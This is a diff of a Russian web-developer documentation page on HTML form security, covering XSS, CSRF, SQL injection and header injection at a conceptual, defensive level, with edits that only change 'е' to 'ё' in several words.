<h2 id="ΠŸΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹_бСзопасности">ΠŸΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ бСзопасности</h2>
-<p>ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ отправляСтС Π΄Π°Π½Π½Ρ‹Π΅ Π½Π° сСрвСр, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΡ‡ΠΈΡ‚Ρ‹Π²Π°Ρ‚ΡŒ Π±Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡ‚ΡŒ. HTML-Ρ„ΠΎΡ€ΠΌΡ‹ ΡΠ²Π»ΡΡŽΡ‚ΡΡ Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространСнными Π²Π΅ΠΊΡ‚ΠΎΡ€Π°ΠΌΠΈ Π°Ρ‚Π°ΠΊ Π½Π° сСрвСры(мСста, Π³Π΄Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΡ€ΠΎΠΈΡΡ…ΠΎΠ΄ΠΈΡ‚ΡŒ Π°Ρ‚Π°ΠΊΠΈ). ΠŸΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ Π²Ρ‹Ρ‚Π΅ΠΊΠ°ΡŽΡ‚ Π½Π΅ ΠΈΠ· самих Ρ„ΠΎΡ€ΠΌ HTML, Π° ΠΈΠ·-Π·Π° Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ сСрвСр ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ Π΄Π°Π½Π½Ρ‹Π΅ ΠΈΠ· этих Ρ„ΠΎΡ€ΠΌ.</p>
+<p>ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ отправляСтС Π΄Π°Π½Π½Ρ‹Π΅ Π½Π° сСрвСр, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΡ‡ΠΈΡ‚Ρ‹Π²Π°Ρ‚ΡŒ Π±Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡ‚ΡŒ. HTML-Ρ„ΠΎΡ€ΠΌΡ‹ ΡΠ²Π»ΡΡŽΡ‚ΡΡ Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространёнными Π²Π΅ΠΊΡ‚ΠΎΡ€Π°ΠΌΠΈ Π°Ρ‚Π°ΠΊ Π½Π° сСрвСры(мСста, Π³Π΄Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΡ€ΠΎΠΈΡΡ…ΠΎΠ΄ΠΈΡ‚ΡŒ Π°Ρ‚Π°ΠΊΠΈ). ΠŸΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ Π²Ρ‹Ρ‚Π΅ΠΊΠ°ΡŽΡ‚ Π½Π΅ ΠΈΠ· самих Ρ„ΠΎΡ€ΠΌ HTML, Π° ΠΈΠ·-Π·Π° Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ сСрвСр ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ Π΄Π°Π½Π½Ρ‹Π΅ ΠΈΠ· этих Ρ„ΠΎΡ€ΠΌ.</p>
<p>Π’ зависимости ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ Π΄Π΅Π»Π°Π΅Ρ‚Π΅, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΡ‚ΠΎΠ»ΠΊΠ½ΡƒΡ‚ΡŒΡΡ с Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ ΠΎΡ‡Π΅Π½ΡŒ извСстными ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ°ΠΌΠΈ бСзопасности:</p>
<h3 id="XSS_ΠœΠ΅ΠΆΡΠ°ΠΉΡ‚ΠΎΠ²Ρ‹ΠΉ_скриптинг_ΠΈ_CSRF_ПоддСлка_мСТсайтовых_запросов">XSS "ΠœΠ΅ΠΆΡΠ°ΠΉΡ‚ΠΎΠ²Ρ‹ΠΉ скриптинг" ΠΈ CSRF "ПоддСлка мСТсайтовых запросов"</h3>
-<p><a href="https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D0%B6%D1%81%D0%B0%D0%B9%D1%82%D0%BE%D0%B2%D1%8B%D0%B9_%D1%81%D0%BA%D1%80%D0%B8%D0%BF%D1%82%D0%B8%D0%BD%D0%B3">ΠœΠ΅ΠΆΡΠ°ΠΉΡ‚ΠΎΠ²Ρ‹ΠΉ скриптинг (XSS "Cross Site Request Forgery")</a> ΠΈ <a href="https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D0%B6%D1%81%D0%B0%D0%B9%D1%82%D0%BE%D0%B2%D0%B0%D1%8F_%D0%BF%D0%BE%D0%B4%D0%B4%D0%B5%D0%BB%D0%BA%D0%B0_%D0%B7%D0%B0%D0%BF%D1%80%D0%BE%D1%81%D0%B0">ΠΏΠΎΠ΄Π΄Π΅Π»ΠΊΠ° мСТсайтовых запросов (CSRF "Cross-Site Scripting")</a> - это распространСнныС Ρ‚ΠΈΠΏΡ‹ Π°Ρ‚Π°ΠΊ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ происходят ΠΏΡ€ΠΈ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΈ Π΄Π°Π½Π½Ρ‹Ρ… послС ΠΎΡ‚Π²Π΅Ρ‚Π° сСрвСра ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ.</p>
+<p><a href="https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D0%B6%D1%81%D0%B0%D0%B9%D1%82%D0%BE%D0%B2%D1%8B%D0%B9_%D1%81%D0%BA%D1%80%D0%B8%D0%BF%D1%82%D0%B8%D0%BD%D0%B3">ΠœΠ΅ΠΆΡΠ°ΠΉΡ‚ΠΎΠ²Ρ‹ΠΉ скриптинг (XSS "Cross Site Request Forgery")</a> ΠΈ <a href="https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D0%B6%D1%81%D0%B0%D0%B9%D1%82%D0%BE%D0%B2%D0%B0%D1%8F_%D0%BF%D0%BE%D0%B4%D0%B4%D0%B5%D0%BB%D0%BA%D0%B0_%D0%B7%D0%B0%D0%BF%D1%80%D0%BE%D1%81%D0%B0">ΠΏΠΎΠ΄Π΄Π΅Π»ΠΊΠ° мСТсайтовых запросов (CSRF "Cross-Site Scripting")</a> - это распространённыС Ρ‚ΠΈΠΏΡ‹ Π°Ρ‚Π°ΠΊ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ происходят ΠΏΡ€ΠΈ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΈ Π΄Π°Π½Π½Ρ‹Ρ… послС ΠΎΡ‚Π²Π΅Ρ‚Π° сСрвСра ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ.</p>
<p><a href="https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D0%B6%D1%81%D0%B0%D0%B9%D1%82%D0%BE%D0%B2%D1%8B%D0%B9_%D1%81%D0%BA%D1%80%D0%B8%D0%BF%D1%82%D0%B8%D0%BD%D0%B3">ΠœΠ΅ΠΆΡΠ°ΠΉΡ‚ΠΎΠ²Ρ‹ΠΉ скриптинг (XSS "Cross Site Request Forgery")</a> позволяСт Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΠ°ΠΌ Π²Π½Π΅Π΄Ρ€ΠΈΡ‚ΡŒ клиСнтский скрипт Π² Π²Π΅Π±-страницы, просматриваСмыС Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌΠΈ. <a href="https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D0%B6%D1%81%D0%B0%D0%B9%D1%82%D0%BE%D0%B2%D0%B0%D1%8F_%D0%BF%D0%BE%D0%B4%D0%B4%D0%B5%D0%BB%D0%BA%D0%B0_%D0%B7%D0%B0%D0%BF%D1%80%D0%BE%D1%81%D0%B0">ПоддСлка мСТсайтовых запросов (CSRF "Cross-Site Scripting")</a> ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΠ°ΠΌΠΈ для ΠΎΠ±Ρ…ΠΎΠ΄Π° срСдств контроля доступа, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ ΠΎΠ΄Π½Π° ΠΈ Ρ‚Π° ΠΆΠ΅ <a href="/ru/docs/Web/Security/Same-origin_policy">ΠΏΠΎΠ»ΠΈΡ‚ΠΈΠΊΠ° происхоТдСния</a>. ΠŸΠΎΡΠ»Π΅Π΄ΡΡ‚Π²ΠΈΠ΅ ΠΎΡ‚ этих Π°Ρ‚Π°ΠΊ ΠΌΠΎΠΆΠ΅Ρ‚ Π²Π°Ρ€ΡŒΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΡΡ ΠΎΡ‚ ΠΌΠ΅Π»ΠΊΠΈΡ… нСудобств Π΄ΠΎ Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ риска бСзопасности.</p>
-<p><a href="https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D0%B6%D1%81%D0%B0%D0%B9%D1%82%D0%BE%D0%B2%D0%B0%D1%8F_%D0%BF%D0%BE%D0%B4%D0%B4%D0%B5%D0%BB%D0%BA%D0%B0_%D0%B7%D0%B0%D0%BF%D1%80%D0%BE%D1%81%D0%B0">CSRF-Π°Ρ‚Π°ΠΊΠΈ</a> Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½Ρ‹ <a href="https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D0%B6%D1%81%D0%B0%D0%B9%D1%82%D0%BE%D0%B2%D1%8B%D0%B9_%D1%81%D0%BA%D1%80%D0%B8%D0%BF%D1%82%D0%B8%D0%BD%D0%B3">XSS-Π°Ρ‚Π°ΠΊΠ°ΠΌ</a> Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ Π½Π°Ρ‡ΠΈΠ½Π°ΡŽΡ‚ΡΡ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΠΎ - с внСдрСния клиСнтского скрипта Π² Π²Π΅Π±-страницы - Π½ΠΎ ΠΈΡ… ΠΊΠΎΠ½Π΅Ρ‡Π½Ρ‹Π΅Β Ρ†Π΅Π»ΠΈ Ρ€Π°Π·Π½Ρ‹Π΅. Π—Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΠΈ <a href="https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D0%B6%D1%81%D0%B0%D0%B9%D1%82%D0%BE%D0%B2%D0%B0%D1%8F_%D0%BF%D0%BE%D0%B4%D0%B4%D0%B5%D0%BB%D0%BA%D0%B0_%D0%B7%D0%B0%D0%BF%D1%80%D0%BE%D1%81%D0%B0">CSRF </a>ΠΏΡ‹Ρ‚Π°ΡŽΡ‚ΡΡ Π½Π°Π·Π½Π°Ρ‡ΠΈΡ‚ΡŒ ΠΏΡ€Π°Π²Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ с Π±ΠΎΠ»Π΅Π΅ высоким ΡƒΡ€ΠΎΠ²Π½Π΅ΠΌ ΠΏΡ€Π°Π² доступа(Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, администратору сайта), Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ дСйствиС, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΎΠ½ΠΈ Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠ° Π΄Π°Π½Π½Ρ‹Ρ… Π½Π΅Π½Π°Π΄Π΅ΠΆΠ½ΠΎΠΌΡƒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ). Атаки <a href="https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D0%B6%D1%81%D0%B0%D0%B9%D1%82%D0%BE%D0%B2%D1%8B%D0%B9_%D1%81%D0%BA%D1%80%D0%B8%D0%BF%D1%82%D0%B8%D0%BD%D0%B3">XSS </a>ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ Π΄ΠΎΠ²Π΅Ρ€ΠΈΠ΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ΠΊ Π²Π΅Π±-сайту, Π² Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ Π°Ρ‚Π°ΠΊΠΈ <a href="https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D0%B6%D1%81%D0%B0%D0%B9%D1%82%D0%BE%D0%B2%D0%B0%D1%8F_%D0%BF%D0%BE%D0%B4%D0%B4%D0%B5%D0%BB%D0%BA%D0%B0_%D0%B7%D0%B0%D0%BF%D1%80%D0%BE%D1%81%D0%B0">CSRF </a>ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ Π΄ΠΎΠ²Π΅Ρ€ΠΈΠ΅ Π²Π΅Π±-сайта ΠΊ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ.</p>
+<p><a href="https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D0%B6%D1%81%D0%B0%D0%B9%D1%82%D0%BE%D0%B2%D0%B0%D1%8F_%D0%BF%D0%BE%D0%B4%D0%B4%D0%B5%D0%BB%D0%BA%D0%B0_%D0%B7%D0%B0%D0%BF%D1%80%D0%BE%D1%81%D0%B0">CSRF-Π°Ρ‚Π°ΠΊΠΈ</a> Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½Ρ‹ <a href="https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D0%B6%D1%81%D0%B0%D0%B9%D1%82%D0%BE%D0%B2%D1%8B%D0%B9_%D1%81%D0%BA%D1%80%D0%B8%D0%BF%D1%82%D0%B8%D0%BD%D0%B3">XSS-Π°Ρ‚Π°ΠΊΠ°ΠΌ</a> Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ Π½Π°Ρ‡ΠΈΠ½Π°ΡŽΡ‚ΡΡ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΠΎ - с внСдрСния клиСнтского скрипта Π² Π²Π΅Π±-страницы - Π½ΠΎ ΠΈΡ… ΠΊΠΎΠ½Π΅Ρ‡Π½Ρ‹Π΅Β Ρ†Π΅Π»ΠΈ Ρ€Π°Π·Π½Ρ‹Π΅. Π—Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΠΈ <a href="https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D0%B6%D1%81%D0%B0%D0%B9%D1%82%D0%BE%D0%B2%D0%B0%D1%8F_%D0%BF%D0%BE%D0%B4%D0%B4%D0%B5%D0%BB%D0%BA%D0%B0_%D0%B7%D0%B0%D0%BF%D1%80%D0%BE%D1%81%D0%B0">CSRF </a>ΠΏΡ‹Ρ‚Π°ΡŽΡ‚ΡΡ Π½Π°Π·Π½Π°Ρ‡ΠΈΡ‚ΡŒ ΠΏΡ€Π°Π²Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ с Π±ΠΎΠ»Π΅Π΅ высоким ΡƒΡ€ΠΎΠ²Π½Π΅ΠΌ ΠΏΡ€Π°Π² доступа(Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, администратору сайта), Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ дСйствиС, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΎΠ½ΠΈ Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠ° Π΄Π°Π½Π½Ρ‹Ρ… Π½Π΅Π½Π°Π΄Ρ‘ΠΆΠ½ΠΎΠΌΡƒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ). Атаки <a href="https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D0%B6%D1%81%D0%B0%D0%B9%D1%82%D0%BE%D0%B2%D1%8B%D0%B9_%D1%81%D0%BA%D1%80%D0%B8%D0%BF%D1%82%D0%B8%D0%BD%D0%B3">XSS </a>ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ Π΄ΠΎΠ²Π΅Ρ€ΠΈΠ΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ΠΊ Π²Π΅Π±-сайту, Π² Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ Π°Ρ‚Π°ΠΊΠΈ <a href="https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D0%B6%D1%81%D0%B0%D0%B9%D1%82%D0%BE%D0%B2%D0%B0%D1%8F_%D0%BF%D0%BE%D0%B4%D0%B4%D0%B5%D0%BB%D0%BA%D0%B0_%D0%B7%D0%B0%D0%BF%D1%80%D0%BE%D1%81%D0%B0">CSRF </a>ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ Π΄ΠΎΠ²Π΅Ρ€ΠΈΠ΅ Π²Π΅Π±-сайта ΠΊ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ.</p>
<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€Π΅Π΄ΠΎΡ‚Π²Ρ€Π°Ρ‚ΠΈΡ‚ΡŒ эти Π°Ρ‚Π°ΠΊΠΈ, Π²Ρ‹ всСгда Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ отправляСт Π½Π° ваш сСрвСр, ΠΈ (Ссли Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΎΡ‚ΠΎΠ±Ρ€Π°Π·ΠΈΡ‚ΡŒ ΠΈΡ…) ΡΡ‚Π°Ρ€Π°Ρ‚ΡŒΡΡ Π½Π΅ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒ HTML-ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚, прСдоставлСнный ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ. ВмСсто этого Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ прСдоставлСнныС ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ Π΄Π°Π½Π½Ρ‹Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π΅ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒ ΠΈΡ… слово Π² слово. БСгодня ΠΏΠΎΡ‡Ρ‚ΠΈ всС ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΡ‹ Π½Π° Ρ€Ρ‹Π½ΠΊΠ΅ Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΡŽΡ‚ ΠΌΠΈΠ½ΠΈΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΉΒ "Ρ„ΠΈΠ»ΡŒΡ‚Ρ€", ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ удаляСт элСмСнты HTML {{HTMLElement ("script")}}, {{HTMLElement ("iframe")}} ΠΈ {{HTMLElement ("object")}} ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹Ρ… ΠΎΡ‚ Π»ΡŽΠ±ΠΎΠ³ΠΎΒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ. Π­Ρ‚ΠΎ ΠΏΠΎΠΌΠΎΠ³Π°Π΅Ρ‚ ΡΠ½ΠΈΠ·ΠΈΡ‚ΡŒ риск, Π½ΠΎ Π½Π΅ ΠΈΡΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Π΅Π³ΠΎ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ.</p>
@@ -294,11 +294,11 @@ if __name__ == "__main__":
<p>SQL -вброс прСдставляСт собой Ρ‚ΠΈΠΏΒ Π°Ρ‚Π°ΠΊ, ΠΏΡ€ΠΈ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… осущСствляСтся ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠ° выполнСния дСйствия с Π±Π°Π·ΠΎΠΉ Π΄Π°Π½Π½Ρ‹Ρ…, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΠΎΠΉ Ρ†Π΅Π»Π΅Π²Ρ‹ΠΌ Π²Π΅Π±-сайтом. Π’ этих случаях ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ осущСствляСтся ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠ°Β SQL-запроса Π² Π½Π°Π΄Π΅ΠΆΠ΄Π΅, Ρ‡Ρ‚ΠΎ сСрвСр Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ этот запрос (ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΏΡ€ΠΈ ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠ΅ сСрвСра прилоТСния ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅, отправляСмыС ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ).Β Π”Π°Π½Π½Ρ‹ΠΉ Π²ΠΈΠ΄ Π°Ρ‚Π°ΠΊ являСтся <a href="https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project" rel="external">ΠΎΠ΄Π½ΠΈΠΌ ΠΈΠ· самых Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½Π½Ρ‹Ρ… Π°Ρ‚Π°ΠΊ Π½Π° Π²Π΅Π±-сайты</a>.</p>
-<p>ΠŸΠΎΡΠ»Π΅Π΄ΡΡ‚Π²ΠΈΡ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΡƒΠΆΠ°ΡΠ°ΡŽΡ‰ΠΈΠΌΠΈ, начиная ΠΎΡ‚ ΠΏΠΎΡ‚Π΅Ρ€ΠΈ Π΄Π°Π½Π½Ρ‹Ρ… ΠΈ заканчивая ΡƒΡ‚Ρ€Π°Ρ‚ΠΎΠΉ контроля Π½Π°Π΄ всСй инфраструктурой Π²Π΅Π±-сайта Π·Π° счСт ΠΏΠΎΠ²Ρ‹ΡˆΠ΅Π½ΠΈΡ ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΉ. Π­Ρ‚ΠΎ ΠΎΡ‡Π΅Π½ΡŒ ΡΠ΅Ρ€ΡŒΠ΅Π·Π½Π°Ρ ΡƒΠ³Ρ€ΠΎΠ·Π°, поэтому Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ сохраняйтС Π΄Π°Π½Π½Ρ‹Π΅, отправляСмыС ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ, Π±Π΅Π· выполнСния Ρ„ΠΈΠ»ΡŒΡ‚Ρ€Π°Ρ†ΠΈΠΈ Π΄Π°Π½Π½Ρ‹Ρ…Β (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ <code><a href="http://us1.php.net/manual/en/mysqli.real-escape-string.php">mysqli_real_escape_string()</a></code>.</p>
+<p>ΠŸΠΎΡΠ»Π΅Π΄ΡΡ‚Π²ΠΈΡ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΡƒΠΆΠ°ΡΠ°ΡŽΡ‰ΠΈΠΌΠΈ, начиная ΠΎΡ‚ ΠΏΠΎΡ‚Π΅Ρ€ΠΈ Π΄Π°Π½Π½Ρ‹Ρ… ΠΈ заканчивая ΡƒΡ‚Ρ€Π°Ρ‚ΠΎΠΉ контроля Π½Π°Π΄ всСй инфраструктурой Π²Π΅Π±-сайта Π·Π° счёт ΠΏΠΎΠ²Ρ‹ΡˆΠ΅Π½ΠΈΡ ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΉ. Π­Ρ‚ΠΎ ΠΎΡ‡Π΅Π½ΡŒ ΡΠ΅Ρ€ΡŒΡ‘Π·Π½Π°Ρ ΡƒΠ³Ρ€ΠΎΠ·Π°, поэтому Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ сохраняйтС Π΄Π°Π½Π½Ρ‹Π΅, отправляСмыС ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ, Π±Π΅Π· выполнСния Ρ„ΠΈΠ»ΡŒΡ‚Ρ€Π°Ρ†ΠΈΠΈ Π΄Π°Π½Π½Ρ‹Ρ…Β (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ <code><a href="http://us1.php.net/manual/en/mysqli.real-escape-string.php">mysqli_real_escape_string()</a></code>.</p>
<h3 id="Вброс_HTTP-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°_ΠΈ_email">Вброс HTTP-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° ΠΈ email</h3>
-<p>Π­Ρ‚ΠΈ Π²ΠΈΠ΄Ρ‹ Π°Ρ‚Π°ΠΊ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΡ€ΠΎΡΠ²Π»ΡΡ‚ΡŒΡΡ, ΠΊΠΎΠ³Π΄Π° вашС ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ создаСт Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈΒ HTTP ΠΈΠ»ΠΈ элСктронныС ΠΏΠΎΡ‡Ρ‚ΠΎΠ²Ρ‹Π΅ адрСса Π½Π° основании Π΄Π°Π½Π½Ρ‹Ρ…, Π²Π²Π΅Π΄Π΅Π½Π½Ρ‹Ρ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ Π² Ρ„ΠΎΡ€ΠΌΡƒ. Π’Π°ΠΊΠΈΠ΅ Π°Ρ‚Π°ΠΊΠΈ Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ Π½Π΅ ΠΏΠΎΠ²Ρ€Π΅ΠΆΠ΄Π°ΡŽΡ‚ сСрвСр ΠΈΠ»ΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ, ΠΎΠ΄Π½Π°ΠΊΠΎ ΡΠΎΠ·Π΄Π°ΡŽΡ‚ ΡƒΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒ для Ρ‚Π°ΠΊΠΈΡ… ΡƒΠ³Ρ€ΠΎΠ·, ΠΊΠ°ΠΊ ΠΏΠ΅Ρ€Π΅Ρ…Π²Π°Ρ‚ сСссии, ΠΈΠ»ΠΈ для Ρ„ΠΈΡˆΠΈΠ½Π³ΠΎΠ²Ρ‹Ρ… Π°Ρ‚Π°ΠΊ.</p>
